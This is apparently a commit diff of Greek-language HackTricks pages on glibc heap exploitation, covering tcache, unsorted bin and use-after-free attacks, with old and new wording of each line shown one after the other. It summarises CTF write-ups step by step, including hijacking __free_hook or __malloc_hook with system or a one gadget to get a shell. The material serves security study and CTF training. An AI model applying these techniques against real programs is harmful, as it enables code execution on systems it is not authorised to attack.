Συνήθως είναι δυνατό να βρείτε στην αρχή του heap ένα chunk που περιέχει την **ποσότητα των chunks ανά δείκτη** μέσα στο tcache και τη διεύθυνση του **head chunk κάθε δείκτη tcache**. Αν για κάποιο λόγο είναι δυνατό να τροποποιηθεί αυτή η πληροφορία, θα ήταν δυνατό να **καταστήσουμε το head chunk κάποιου δείκτη να δείχνει σε μια επιθυμητή διεύθυνση** (όπως το `__malloc_hook`) ώστε στη συνέχεια να κατανεμηθεί ένα chunk του μεγέθους του δείκτη και να αντικατασταθούν τα περιεχόμενα του `__malloc_hook` σε αυτή την περίπτωση.
Συνήθως είναι δυνατό να βρείτε στην αρχή του heap ένα chunk που περιέχει την **ποσότητα των chunks ανά δείκτη** μέσα στο tcache και τη διεύθυνση του **κεφαλιού chunk κάθε δείκτη tcache**. Αν για κάποιο λόγο είναι δυνατό να τροποποιηθεί αυτή η πληροφορία, θα ήταν δυνατό να **κατευθυνθεί το κεφάλι chunk κάποιου δείκτη σε μια επιθυμητή διεύθυνση** (όπως το `__malloc_hook`) ώστε στη συνέχεια να κατανεμηθεί ένα chunk του μεγέθους του δείκτη και να αντικατασταθούν τα περιεχόμενα του `__malloc_hook` σε αυτή την περίπτωση.
## Examples
- CTF [https://guyinatuxedo.github.io/29-tcache/dcquals19_babyheap/index.html](https://guyinatuxedo.github.io/29-tcache/dcquals19_babyheap/index.html)
- **Libc info leak**: Είναι δυνατό να γεμίσετε τα tcaches, να προσθέσετε ένα chunk στη μη ταξινομημένη λίστα, να αδειάσετε το tcache και να **ξανακατανείμετε το chunk από το unsorted bin** μόνο αντικαθιστώντας τα πρώτα 8B, αφήνοντας τη **δεύτερη διεύθυνση στη libc από το chunk ανέγγιχτη ώστε να μπορούμε να την διαβάσουμε**.
- **Tcache attack**: Το δυαδικό αρχείο είναι ευάλωτο σε 1B heap overflow. Αυτό θα εκμεταλλευτεί για να αλλάξει το **size header** ενός κατανεμημένου chunk κάνοντάς το μεγαλύτερο. Στη συνέχεια, αυτό το chunk θα **απελευθερωθεί**, προσθέτοντάς το στο tcache των chunks ψεύτικου μεγέθους. Στη συνέχεια, θα κατανεμηθεί ένα chunk με το ψεύτικο μέγεθος, και το προηγούμενο chunk θα **επιστραφεί γνωρίζοντας ότι αυτό το chunk ήταν στην πραγματικότητα μικρότερο** και αυτό παρέχει την ευκαιρία να **αντικατασταθεί ο δείκτης FD του επόμενου chunk στη μνήμη**.\
Θα εκμεταλλευτούμε αυτό για να **αντικαταστήσουμε τον δείκτη FD του επόμενου chunk** ώστε να δείχνει στο **`malloc_hook`**, έτσι ώστε να είναι δυνατή η κατανομή 2 δεικτών: πρώτα ο νόμιμος δείκτης που μόλις τροποποιήσαμε, και στη συνέχεια η δεύτερη κατανομή θα επιστρέψει ένα chunk στο **`malloc_hook`** που είναι δυνατό να εκμεταλλευτεί για να γράψει ένα **one gadget**.
- **Libc info leak**: Είναι δυνατό να γεμίσετε τα tcaches, να προσθέσετε ένα chunk στη μη ταξινομημένη λίστα, να αδειάσετε το tcache και να **ξανακατανείμετε το chunk από το unsorted bin** μόνο αντικαθιστώντας τα πρώτα 8B, αφήνοντας τη **δεύτερη διεύθυνση στη libc από το chunk ανέγγιχτη ώστε να μπορέσουμε να την διαβάσουμε**.
- **Tcache attack**: Το δυαδικό είναι ευάλωτο σε 1B heap overflow. Αυτό θα εκμεταλλευτεί για να αλλάξει το **μέγεθος κεφαλίδας** ενός κατανεμημένου chunk κάνοντάς το μεγαλύτερο. Στη συνέχεια, αυτό το chunk θα **απελευθερωθεί**, προσθέτοντάς το στο tcache των chunks του ψεύτικου μεγέθους. Στη συνέχεια, θα κατανεμηθεί ένα chunk με το ψεύτικο μέγεθος, και το προηγούμενο chunk θα **επιστραφεί γνωρίζοντας ότι αυτό το chunk ήταν στην πραγματικότητα μικρότερο** και αυτό παρέχει την ευκαιρία να **αντικατασταθεί ο δείκτης FD του επόμενου chunk στη μνήμη**.\
Θα εκμεταλλευτούμε αυτό για να **αντικαταστήσουμε τον δείκτη FD του επόμενου chunk** ώστε να δείχνει στο **`malloc_hook`**, έτσι ώστε στη συνέχεια να είναι δυνατή η κατανομή 2 δεικτών: πρώτα ο νόμιμος δείκτης που μόλις τροποποιήσαμε, και στη συνέχεια η δεύτερη κατανομή θα επιστρέψει ένα chunk στο **`malloc_hook`** που είναι δυνατό να εκμεταλλευτεί για να γράψει ένα **one gadget**.
- CTF [https://guyinatuxedo.github.io/29-tcache/plaid19_cpp/index.html](https://guyinatuxedo.github.io/29-tcache/plaid19_cpp/index.html)
- **Libc info leak**: Υπάρχει χρήση μετά από απελευθέρωση και διπλή απελευθέρωση. Σε αυτή την αναφορά, ο συγγραφέας διέρρευσε μια διεύθυνση της libc διαβάζοντας τη διεύθυνση ενός chunk που τοποθετήθηκε σε ένα μικρό bin (όπως η διαρροή από το unsorted bin αλλά από το μικρό).
- **Tcache attack**: Μια Tcache εκτελείται μέσω μιας **διπλής απελευθέρωσης**. Το ίδιο chunk απελευθερώνεται δύο φορές, έτσι μέσα στο Tcache το chunk θα δείχνει στον εαυτό του. Στη συνέχεια, κατανεμηθεί, ο δείκτης FD του τροποποιείται ώστε να δείχνει στο **free hook** και στη συνέχεια κατανεμηθεί ξανά ώστε το επόμενο chunk στη λίστα να είναι στο free hook. Στη συνέχεια, αυτό επίσης κατανεμηθεί και είναι δυνατό να γραφτεί η διεύθυνση του `system` εδώ ώστε όταν ένα malloc που περιέχει `"/bin/sh"` απελευθερωθεί, να αποκτήσουμε ένα shell.
- **Libc info leak**: Υπάρχει χρήση μετά από απελευθέρωση και διπλή απελευθέρωση. Σε αυτή την αναφορά, ο συγγραφέας διέρρευσε μια διεύθυνση της libc διαβάζοντας τη διεύθυνση ενός chunk που τοποθετήθηκε σε μια μικρή bin (όπως η διαρροή από τη μη ταξινομημένη bin αλλά από τη μικρή).
- **Tcache attack**: Μια Tcache εκτελείται μέσω μιας **διπλής απελευθέρωσης**. Το ίδιο chunk απελευθερώνεται δύο φορές, έτσι μέσα στο Tcache το chunk θα δείχνει στον εαυτό του. Στη συνέχεια, κατανεμήθηκε, ο δείκτης FD του τροποποιείται ώστε να δείχνει στο **free hook** και στη συνέχεια κατανεμήθηκε ξανά ώστε το επόμενο chunk στη λίστα να είναι στο free hook. Στη συνέχεια, αυτό επίσης κατανεμήθηκε και είναι δυνατό να γραφτεί η διεύθυνση του `system` εδώ ώστε όταν μια malloc που περιέχει `"/bin/sh"` απελευθερωθεί, να αποκτήσουμε ένα shell.
- CTF [https://guyinatuxedo.github.io/44-more_tcache/csaw19_popping_caps0/index.html](https://guyinatuxedo.github.io/44-more_tcache/csaw19_popping_caps0/index.html)
- Η κύρια ευπάθεια εδώ είναι η ικανότητα να `free` οποιαδήποτε διεύθυνση στο heap υποδεικνύοντας την απόστασή της.
- **Tcache indexes attack**: Είναι δυνατό να κατανεμηθεί και να απελευθερωθεί ένα chunk ενός μεγέθους που όταν αποθηκευτεί μέσα στο tcache chunk (το chunk με τις πληροφορίες των tcache bins) θα δημιουργήσει μια **διεύθυνση με την τιμή 0x100**. Αυτό συμβαίνει επειδή το tcache αποθηκεύει την ποσότητα των chunks σε κάθε bin σε διαφορετικά bytes, επομένως ένα chunk σε έναν συγκεκριμένο δείκτη δημιουργεί την τιμή 0x100.
- Στη συνέχεια, αυτή η τιμή φαίνεται να υπάρχει ένα chunk μεγέθους 0x100. Επιτρέποντας να εκμεταλλευτεί με `free` αυτή τη διεύθυνση. Αυτό θα **προσθέσει αυτή τη διεύθυνση στον δείκτη των chunks μεγέθους 0x100 στο tcache**.
- Στη συνέχεια, **κατανεμίζοντας** ένα chunk μεγέθους **0x100**, η προηγούμενη διεύθυνση θα επιστραφεί ως chunk, επιτρέποντας την αντικατάσταση άλλων tcache indexes.\
Για παράδειγμα, τοποθετώντας τη διεύθυνση του malloc hook σε έναν από αυτούς και κατανεμίζοντας ένα chunk του μεγέθους αυτού του δείκτη θα παραχωρήσει ένα chunk στο calloc hook, το οποίο επιτρέπει τη γραφή ενός one gadget για να αποκτήσουμε ένα shell.
- **Tcache indexes attack**: Είναι δυνατό να κατανεμηθεί και να απελευθερωθεί ένα chunk ενός μεγέθους που όταν αποθηκευτεί μέσα στο chunk tcache (το chunk με τις πληροφορίες των tcache bins) θα δημιουργήσει μια **διεύθυνση με την τιμή 0x100**. Αυτό συμβαίνει επειδή το tcache αποθηκεύει την ποσότητα των chunks σε κάθε bin σε διαφορετικά bytes, επομένως ένα chunk σε έναν συγκεκριμένο δείκτη δημιουργεί την τιμή 0x100.
- Στη συνέχεια, αυτή η τιμή φαίνεται να υπάρχει ένα chunk μεγέθους 0x100. Επιτρέποντας να εκμεταλλευτεί αυτό με `free` αυτή τη διεύθυνση. Αυτό θα **προσθέσει αυτή τη διεύθυνση στον δείκτη των chunks μεγέθους 0x100 στο tcache**.
- Στη συνέχεια, **κατανέμοντας** ένα chunk μεγέθους **0x100**, η προηγούμενη διεύθυνση θα επιστραφεί ως chunk, επιτρέποντας την αντικατάσταση άλλων tcache indexes.\
Για παράδειγμα, τοποθετώντας τη διεύθυνση του malloc hook σε έναν από αυτούς και κατανεμώντας ένα chunk του μεγέθους αυτού του δείκτη θα παραχωρήσει ένα chunk στο calloc hook, το οποίο επιτρέπει τη γραφή ενός one gadget για να αποκτήσουμε ένα shell.
- CTF [https://guyinatuxedo.github.io/44-more_tcache/csaw19_popping_caps1/index.html](https://guyinatuxedo.github.io/44-more_tcache/csaw19_popping_caps1/index.html)
- Η ίδια ευπάθεια όπως πριν με έναν επιπλέον περιορισμό.
- **Tcache indexes attack**: Παρόμοια επίθεση με την προηγούμενη αλλά χρησιμοποιώντας λιγότερα βήματα απελευθερώνοντας το chunk που περιέχει τις πληροφορίες tcache ώστε η διεύθυνσή του να προστεθεί στον δείκτη tcache του μεγέθους του, έτσι ώστε να είναι δυνατό να κατανεμηθεί αυτό το μέγεθος και να αποκτηθούν οι πληροφορίες του tcache chunk ως chunk, το οποίο επιτρέπει την προσθήκη του free hook ως διεύθυνση ενός δείκτη, να το κατανεμηθεί και να γραφτεί ένα one gadget πάνω του.
- Η ίδια ευπάθεια όπως πριν με μια επιπλέον περιοριστική προϋπόθεση.
- **Tcache indexes attack**: Παρόμοια επίθεση με την προηγούμενη αλλά χρησιμοποιώντας λιγότερα βήματα απελευθερώνοντας το chunk που περιέχει τις πληροφορίες tcache ώστε η διεύθυνσή του να προστεθεί στον δείκτη tcache του μεγέθους του, έτσι ώστε να είναι δυνατό να κατανεμηθεί αυτό το μέγεθος και να αποκτηθούν οι πληροφορίες του chunk tcache ως chunk, το οποίο επιτρέπει την προσθήκη του free hook ως διεύθυνση ενός δείκτη, να το κατανεμήσουμε και να γράψουμε ένα one gadget πάνω του.
- [**Math Door. HTB Cyber Apocalypse CTF 2023**](https://7rocky.github.io/en/ctf/other/htb-cyber-apocalypse/math-door/)
- **Write After Free** για να προσθέσετε έναν αριθμό στον δείκτη `fd`.
- Χρειάζεται πολύ **heap feng-shui** σε αυτή την πρόκληση. Η αναφορά δείχνει πώς **η διαχείριση της κεφαλής της λίστας ελεύθερων Tcache** είναι πολύ χρήσιμη.

View File

@ -10,46 +10,46 @@
bins-and-memory-allocations.md
{{#endref}}
Τα unsorted lists είναι ικανά να γράψουν τη διεύθυνση στο `unsorted_chunks (av)` στη διεύθυνση `bk` του chunk. Επομένως, αν ένας επιτιθέμενος μπορεί να **τροποποιήσει τη διεύθυνση του δείκτη `bk`** σε ένα chunk μέσα στο unsorted bin, θα μπορούσε να είναι σε θέση να **γράψει αυτή τη διεύθυνση σε μια αυθαίρετη διεύθυνση** που θα μπορούσε να είναι χρήσιμη για να διαρρεύσει διευθύνσεις Glibc ή να παρακάμψει κάποια άμυνα.
Οι unsorted λίστες είναι ικανές να γράφουν τη διεύθυνση στο `unsorted_chunks (av)` στη διεύθυνση `bk` του chunk. Επομένως, αν ένας επιτιθέμενος μπορεί να **τροποποιήσει τη διεύθυνση του δείκτη `bk`** σε ένα chunk μέσα στο unsorted bin, θα μπορούσε να **γράψει αυτή τη διεύθυνση σε μια αυθαίρετη διεύθυνση** που θα μπορούσε να είναι χρήσιμη για να διαρρεύσει διευθύνσεις Glibc ή να παρακάμψει κάποια άμυνα.
Έτσι, βασικά, αυτή η επίθεση επιτρέπει να **οριστεί ένας μεγάλος αριθμός σε μια αυθαίρετη διεύθυνση**. Αυτός ο μεγάλος αριθμός είναι μια διεύθυνση, η οποία θα μπορούσε να είναι μια διεύθυνση heap ή μια διεύθυνση Glibc. Ένας τυπικός στόχος είναι **`global_max_fast`** για να επιτρέψει τη δημιουργία fast bin bins με μεγαλύτερα μεγέθη (και να περάσει από μια επίθεση unsorted bin σε μια επίθεση fast bin).
> [!TIP]
> Ρ> ίχνοντας μια ματιά στο παράδειγμα που παρέχεται στο [https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/unsorted_bin_attack/#principle](https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/unsorted_bin_attack/#principle) και χρησιμοποιώντας 0x4000 και 0x5000 αντί για 0x400 και 0x500 ως μεγέθη chunk (για να αποφευχθεί το Tcache), είναι δυνατόν να δούμε ότι **σήμερα** το σφάλμα **`malloc(): unsorted double linked list corrupted`** ενεργοποιείται.
> Ρ> ίξτε μια ματιά στο παράδειγμα που παρέχεται στο [https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/unsorted_bin_attack/#principle](https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/unsorted_bin_attack/#principle) και χρησιμοποιώντας 0x4000 και 0x5000 αντί για 0x400 και 0x500 ως μεγέθη chunk (για να αποφευχθεί το Tcache) είναι δυνατόν να δείτε ότι **σήμερα** το σφάλμα **`malloc(): unsorted double linked list corrupted`** ενεργοποιείται.
>
> Επομένως, αυτή η επίθεση unsorted bin τώρα (μεταξύ άλλων ελέγχων) απαιτεί επίσης να είναι σε θέση να διορθώσει τη διπλή συνδεδεμένη λίστα ώστε να παρακαμφθεί `victim->bk->fd == victim` ή όχι `victim->fd == av (arena)`, που σημαίνει ότι η διεύθυνση όπου θέλουμε να γράψουμε πρέπει να έχει τη διεύθυνση του ψεύτικου chunk στη θέση `fd` της και ότι το ψεύτικο chunk `fd` δείχνει στην αρένα.
> Επομένως, αυτή η επίθεση unsorted bin τώρα (μεταξύ άλλων ελέγχων) απαιτεί επίσης να είναι δυνατή η διόρθωση της διπλής συνδεδεμένης λίστας ώστε να παρακαμφθεί `victim->bk->fd == victim` ή όχι `victim->fd == av (arena)`, που σημαίνει ότι η διεύθυνση όπου θέλουμε να γράψουμε πρέπει να έχει τη διεύθυνση του ψεύτικου chunk στη θέση `fd` της και ότι το ψεύτικο chunk `fd` δείχνει στην αρένα.
> [!CAUTION]
> Σημειώστε ότι αυτή η επίθεση διαφθείρει το unsorted bin (άρα και το μικρό και το μεγάλο). Έτσι, μπορούμε μόνο να **χρησιμοποιήσουμε allocations από το fast bin τώρα** (ένα πιο περίπλοκο πρόγραμμα μπορεί να κάνει άλλες allocations και να καταρρεύσει), και για να ενεργοποιηθεί αυτό πρέπει να **κατανεμηθεί το ίδιο μέγεθος ή το πρόγραμμα θα καταρρεύσει.**
>
> Σημειώστε ότι η επαναγραφή του **`global_max_fast`** μπορεί να βοηθήσει σε αυτή την περίπτωση, εμπιστευόμενοι ότι το fast bin θα είναι σε θέση να φροντίσει όλες τις άλλες allocations μέχρι να ολοκληρωθεί η εκμετάλλευση.
Ο κώδικας από τον [**guyinatuxedo**](https://guyinatuxedo.github.io/31-unsortedbin_attack/unsorted_explanation/index.html) το εξηγεί πολύ καλά, αν και αν τροποποιήσετε τις mallocs για να κατανεμηθεί μνήμη αρκετά μεγάλη ώστε να μην καταλήξει σε Tcache, μπορείτε να δείτε ότι το προηγουμένως αναφερόμενο σφάλμα εμφανίζεται, αποτρέποντας αυτή την τεχνική: **`malloc(): unsorted double linked list corrupted`**
Ο κώδικας από [**guyinatuxedo**](https://guyinatuxedo.github.io/31-unsortedbin_attack/unsorted_explanation/index.html) το εξηγεί πολύ καλά, αν και αν τροποποιήσετε τις mallocs για να κατανεμηθεί μνήμη αρκετά μεγάλη ώστε να μην καταλήξει σε Tcache, μπορείτε να δείτε ότι το προηγουμένως αναφερόμενο σφάλμα εμφανίζεται, αποτρέποντας αυτή την τεχνική: **`malloc(): unsorted double linked list corrupted`**
## Unsorted Bin Infoleak Attack
Αυτό είναι στην πραγματικότητα μια πολύ βασική έννοια. Τα chunks στο unsorted bin θα έχουν δείκτες. Το πρώτο chunk στο unsorted bin θα έχει στην πραγματικότητα τους συνδέσμους **`fd`** και **`bk`** **να δείχνουν σε ένα μέρος της κύριας αρένας (Glibc)**.\
Επομένως, αν μπορείτε να **βάλτε ένα chunk μέσα σε ένα unsorted bin και να το διαβάσετε** (use after free) ή **να το κατανεμηθείτε ξανά χωρίς να επαναγράψετε τουλάχιστον 1 από τους δείκτες** για να **το διαβάσετε**, μπορείτε να έχετε μια **Glibc info leak**.
Μια παρόμοια [**επίθεση που χρησιμοποιήθηκε σε αυτή την αναφορά**](https://guyinatuxedo.github.io/33-custom_misc_heap/csaw18_alienVSsamurai/index.html), ήταν να καταχραστεί μια δομή 4 chunks (A, B, C και D - D είναι μόνο για να αποτρέψει τη συγχώνευση με το top chunk) έτσι ώστε μια overflow null byte στο B να χρησιμοποιηθεί για να κάνει το C να υποδείξει ότι το B ήταν ανενεργό. Επίσης, στο B τα δεδομένα `prev_size` τροποποιήθηκαν έτσι ώστε το μέγεθος αντί να είναι το μέγεθος του B να είναι A+B.\
Μια παρόμοια [**επίθεση που χρησιμοποιήθηκε σε αυτή την αναφορά**](https://guyinatuxedo.github.io/33-custom_misc_heap/csaw18_alienVSsamurai/index.html), ήταν να καταχραστεί μια δομή 4 chunks (A, B, C και D - D είναι μόνο για να αποτρέψει τη συγχώνευση με το top chunk) έτσι ώστε μια υπερχείλιση null byte στο B να χρησιμοποιηθεί για να κάνει το C να υποδείξει ότι το B ήταν αχρησιμοποίητο. Επίσης, στο B τα δεδομένα `prev_size` τροποποιήθηκαν έτσι ώστε το μέγεθος αντί να είναι το μέγεθος του B να είναι A+B.\
Στη συνέχεια, το C απελευθερώθηκε και συγχωνεύθηκε με A+B (αλλά το B ήταν ακόμα σε χρήση). Ένα νέο chunk μεγέθους A κατανεμήθηκε και στη συνέχεια οι διευθύνσεις libc διαρρεύθηκαν στο B από όπου διαρρεύθηκαν.
## References & Other examples
- [**https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/unsorted_bin_attack/#hitcon-training-lab14-magic-heap**](https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/unsorted_bin_attack/#hitcon-training-lab14-magic-heap)
- Ο στόχος είναι να επαναγραφεί μια παγκόσμια μεταβλητή με μια τιμή μεγαλύτερη από 4869 ώστε να είναι δυνατή η λήψη της σημαίας και το PIE να μην είναι ενεργοποιημένο.
- Είναι δυνατόν να παραχθούν chunks αυθαίρετου μεγέθους και υπάρχει μια heap overflow με το επιθυμητό μέγεθος.
- Η επίθεση ξεκινά δημιουργώντας 3 chunks: chunk0 για να καταχραστεί την overflow, chunk1 για να υπερχειλιστεί και chunk2 ώστε το top chunk να μην συγχωνευθεί με τα προηγούμενα.
- Στη συνέχεια, το chunk1 απελευθερώνεται και το chunk0 υπερχειλίζεται ώστε ο δείκτης `bk` του chunk1 να δείχνει σε: `bk = magic - 0x10`
- Είναι δυνατή η δημιουργία chunks αυθαίρετου μεγέθους και υπάρχει μια υπερχείλιση heap με το επιθυμητό μέγεθος.
- Η επίθεση ξεκινά δημιουργώντας 3 chunks: chunk0 για να καταχραστεί την υπερχείλιση, chunk1 για να υπερχυθεί και chunk2 ώστε το top chunk να μην συγχωνευθεί με τα προηγούμενα.
- Στη συνέχεια, το chunk1 απελευθερώνεται και το chunk0 υπερχύνεται ώστε ο δείκτης `bk` του chunk1 να δείχνει: `bk = magic - 0x10`
- Στη συνέχεια, το chunk3 κατανεμήθηκε με το ίδιο μέγεθος όπως το chunk1, το οποίο θα ενεργοποιήσει την επίθεση unsorted bin και θα τροποποιήσει την τιμή της παγκόσμιας μεταβλητής, καθιστώντας δυνατή τη λήψη της σημαίας.
- [**https://guyinatuxedo.github.io/31-unsortedbin_attack/0ctf16_zerostorage/index.html**](https://guyinatuxedo.github.io/31-unsortedbin_attack/0ctf16_zerostorage/index.html)
- Η συνάρτηση merge είναι ευάλωτη επειδή αν και οι δύο δείκτες που περάστηκαν είναι ο ίδιος, θα επανακατανεμηθεί σε αυτόν και στη συνέχεια θα απελευθερωθεί, αλλά επιστρέφει έναν δείκτη σε αυτήν την απελευθερωμένη περιοχή που μπορεί να χρησιμοποιηθεί.
- Επομένως, **δημιουργούνται 2 chunks**: **chunk0** το οποίο θα συγχωνευθεί με τον εαυτό του και chunk1 για να αποτρέψει τη συγχώνευση με το top chunk. Στη συνέχεια, η **συνάρτηση merge καλείται με το chunk0** δύο φορές, γεγονός που θα προκαλέσει μια χρήση μετά την απελευθέρωση.
- Επομένως, **δημιουργούνται 2 chunks**: **chunk0** το οποίο θα συγχωνευθεί με τον εαυτό του και chunk1 για να αποτρέψει τη συγχώνευση με το top chunk. Στη συνέχεια, η **συνάρτηση merge καλείται με το chunk0** δύο φορές, γεγονός που θα προκαλέσει χρήση μετά την απελευθέρωση.
- Στη συνέχεια, η **συνάρτηση `view`** καλείται με δείκτη 2 (ο οποίος είναι ο δείκτης του chunk που χρησιμοποιήθηκε μετά την απελευθέρωση), το οποίο θα **διαρρεύσει μια διεύθυνση libc**.
- Καθώς το δυαδικό έχει προστασίες για να επιτρέπει μόνο malloc μεγέθη μεγαλύτερα από **`global_max_fast`**, δεν χρησιμοποιείται κανένα fastbin, μια επίθεση unsorted bin θα χρησιμοποιηθεί για να επαναγράψει την παγκόσμια μεταβλητή `global_max_fast`.
- Στη συνέχεια, είναι δυνατόν να καλέσετε τη συνάρτηση edit με τον δείκτη 2 (τον δείκτη του pointer που χρησιμοποιήθηκε μετά την απελευθέρωση) και να επαναγράψετε τον δείκτη `bk` ώστε να δείχνει σε `p64(global_max_fast-0x10)`. Στη συνέχεια, η δημιουργία ενός νέου chunk θα χρησιμοποιήσει τη προηγουμένως παραβιασμένη ελεύθερη διεύθυνση (0x20) θα **ενεργοποιήσει την επίθεση unsorted bin** επαναγράφοντας το `global_max_fast` με μια πολύ μεγάλη τιμή, επιτρέποντας τώρα τη δημιουργία chunks σε fast bins.
- Καθώς το δυαδικό έχει προστασίες για να επιτρέπει μόνο malloc μεγέθη μεγαλύτερα από **`global_max_fast`**, δεν χρησιμοποιείται κανένα fastbin, θα χρησιμοποιηθεί μια επίθεση unsorted bin για να επαναγραφεί η παγκόσμια μεταβλητή `global_max_fast`.
- Στη συνέχεια, είναι δυνατή η κλήση της συνάρτησης edit με τον δείκτη 2 (τον δείκτη του pointer που χρησιμοποιήθηκε μετά την απελευθέρωση) και να επαναγραφεί ο δείκτης `bk` ώστε να δείχνει σε `p64(global_max_fast-0x10)`. Στη συνέχεια, η δημιουργία ενός νέου chunk θα χρησιμοποιήσει τη προηγουμένως παραβιασμένη ελεύθερη διεύθυνση (0x20) που θα **ενεργοποιήσει την επίθεση unsorted bin** επαναγράφοντας το `global_max_fast` με μια πολύ μεγάλη τιμή, επιτρέποντας τώρα τη δημιουργία chunks σε fast bins.
- Τώρα εκτελείται μια **επίθεση fast bin**:
- Πρώτα απ 'όλα, ανακαλύπτεται ότι είναι δυνατόν να εργαστείτε με γρήγορες **chunks μεγέθους 200** στη θέση **`__free_hook`**:
- Πρώτα απ 'όλα, ανακαλύπτεται ότι είναι δυνατό να εργαστείτε με γρήγορες **chunks μεγέθους 200** στη θέση **`__free_hook`**:
- <pre class="language-c"><code class="lang-c">gef➤ p &__free_hook
$1 = (void (**)(void *, const void *)) 0x7ff1e9e607a8 <__free_hook>
gef➤ x/60gx 0x7ff1e9e607a8 - 0x59
@ -58,16 +58,16 @@ gef➤ x/60gx 0x7ff1e9e607a8 - 0x59
0x7ff1e9e6076f <list_all_lock+15>: 0x0000000000000000 0x0000000000000000
0x7ff1e9e6077f <_IO_stdfile_2_lock+15>: 0x0000000000000000 0x0000000000000000
</code></pre>
- Αν καταφέρουμε να αποκτήσουμε ένα γρήγορο chunk μεγέθους 0x200 σε αυτή τη θέση, θα είναι δυνατόν να επαναγράψουμε έναν δείκτη συνάρτησης που θα εκτελείται
- Για αυτό, δημιουργείται ένα νέο chunk μεγέθους `0xfc` και η συγχωνευμένη συνάρτηση καλείται με αυτόν τον δείκτη δύο φορές, με αυτόν τον τρόπο αποκτούμε έναν δείκτη σε ένα ελεύθερο chunk μεγέθους `0xfc*2 = 0x1f8` στο fast bin.
- Αν καταφέρουμε να αποκτήσουμε ένα γρήγορο chunk μεγέθους 0x200 σε αυτή τη θέση, θα είναι δυνατό να επαναγράψουμε έναν δείκτη συνάρτησης που θα εκτελείται
- Για αυτό, δημιουργείται ένα νέο chunk μεγέθους `0xfc` και η συνάρτηση merged καλείται με αυτόν τον δείκτη δύο φορές, με αυτόν τον τρόπο αποκτούμε έναν δείκτη σε ένα ελεύθερο chunk μεγέθους `0xfc*2 = 0x1f8` στο fast bin.
- Στη συνέχεια, η συνάρτηση edit καλείται σε αυτό το chunk για να τροποποιήσει τη διεύθυνση **`fd`** αυτού του fast bin ώστε να δείχνει στην προηγούμενη συνάρτηση **`__free_hook`**.
- Στη συνέχεια, δημιουργείται ένα chunk μεγέθους `0x1f8` για να ανακτηθεί από το fast bin το προηγούμενο άχρηστο chunk, ώστε να δημιουργηθεί ένα άλλο chunk μεγέθους `0x1f8` για να αποκτήσουμε ένα fast bin chunk στη **`__free_hook`** το οποίο επαναγράφεται με τη διεύθυνση της συνάρτησης **`system`**.
- Στη συνέχεια, δημιουργείται ένα chunk μεγέθους `0x1f8` για να ανακτηθεί από το fast bin το προηγούμενο άχρηστο chunk, ώστε να δημιουργηθεί ένα άλλο chunk μεγέθους `0x1f8` για να αποκτήσει ένα fast bin chunk στη **`__free_hook`** το οποίο επαναγράφεται με τη διεύθυνση της συνάρτησης **`system`**.
- Και τελικά, ένα chunk που περιέχει τη συμβολοσειρά `/bin/sh\x00` απελευθερώνεται καλώντας τη συνάρτηση delete, ενεργοποιώντας τη συνάρτηση **`__free_hook`** που δείχνει στη συνάρτηση system με `/bin/sh\x00` ως παράμετρο.
- **CTF** [**https://guyinatuxedo.github.io/33-custom_misc_heap/csaw19_traveller/index.html**](https://guyinatuxedo.github.io/33-custom_misc_heap/csaw19_traveller/index.html)
- Ένα άλλο παράδειγμα κατάχρησης μιας overflow 1B για να συγχωνευθούν chunks στο unsorted bin και να αποκτηθεί μια libc infoleak και στη συνέχεια να εκτελεστεί μια επίθεση fast bin για να επαναγραφεί το malloc hook με μια διεύθυνση one gadget
- Ένα άλλο παράδειγμα κατάχρησης μιας υπερχείλισης 1B για να συγχωνευθούν chunks στο unsorted bin και να αποκτηθεί μια libc infoleak και στη συνέχεια να εκτελεστεί μια επίθεση fast bin για να επαναγραφεί το malloc hook με μια διεύθυνση one gadget
- [**Robot Factory. BlackHat MEA CTF 2022**](https://7rocky.github.io/en/ctf/other/blackhat-ctf/robot-factory/)
- Μπορούμε μόνο να κατανεμηθούν chunks μεγέθους μεγαλύτερου από `0x100`.
- Μπορούμε να κατανεμηθούν μόνο chunks μεγέθους μεγαλύτερου από `0x100`.
- Επαναγράψτε το `global_max_fast` χρησιμοποιώντας μια επίθεση Unsorted Bin (λειτουργεί 1/16 φορές λόγω ASLR, επειδή πρέπει να τροποποιήσουμε 12 bits, αλλά πρέπει να τροποποιήσουμε 16 bits).
- Επίθεση Fast Bin για να τροποποιήσετε έναν παγκόσμιο πίνακα chunks. Αυτό δίνει μια αυθαίρετη αναγνωστική/γραφική πρωτοβουλία, η οποία επιτρέπει να τροποποιηθεί το GOT και να ρυθμιστεί κάποια συνάρτηση να δείχνει στη `system`.
- Επίθεση Fast Bin για να τροποποιηθεί μια παγκόσμια σειρά chunks. Αυτό δίνει μια αυθαίρετη ανάγνωση/γραφή primitive, που επιτρέπει την τροποποίηση του GOT και την ρύθμιση κάποιων συναρτήσεων να δείχνουν στη `system`.
{{#include ../../banners/hacktricks-training.md}}

View File

@ -1,16 +1,16 @@
# Χρήση Μετά την Απελευθέρωση
# Use After Free
{{#include ../../../banners/hacktricks-training.md}}
## Βασικές Πληροφορίες
## Basic Information
Όπως υποδηλώνει το όνομα, αυτή η ευπάθεια συμβαίνει όταν ένα πρόγραμμα **αποθηκεύει κάποιο χώρο** στη heap για ένα αντικείμενο, **γράφει** κάποιες πληροφορίες εκεί, **απελευθερώνει** το προφανώς επειδή δεν χρειάζεται πια και στη συνέχεια **το προσπελάζει ξανά**.
Το πρόβλημα εδώ είναι ότι δεν είναι παράνομο (δεν **θα υπάρχουν σφάλματα**) όταν **προσπελάζεται απελευθερωμένη μνήμη**. Έτσι, αν το πρόγραμμα (ή ο επιτιθέμενος) καταφέρει να **κατανείμει την απελευθερωμένη μνήμη και να αποθηκεύσει αυθαίρετα δεδομένα**, όταν η απελευθερωμένη μνήμη προσπελαστεί από τον αρχικό δείκτη, **τα δεδομένα θα έχουν αντικατασταθεί** προκαλώντας μια **ευπάθεια που θα εξαρτάται από την ευαισθησία των δεδομένων** που αποθηκεύτηκαν αρχικά (αν ήταν ένας δείκτης μιας συνάρτησης που επρόκειτο να κληθεί, ένας επιτιθέμενος θα μπορούσε να γνωρίζει πώς να το ελέγξει).
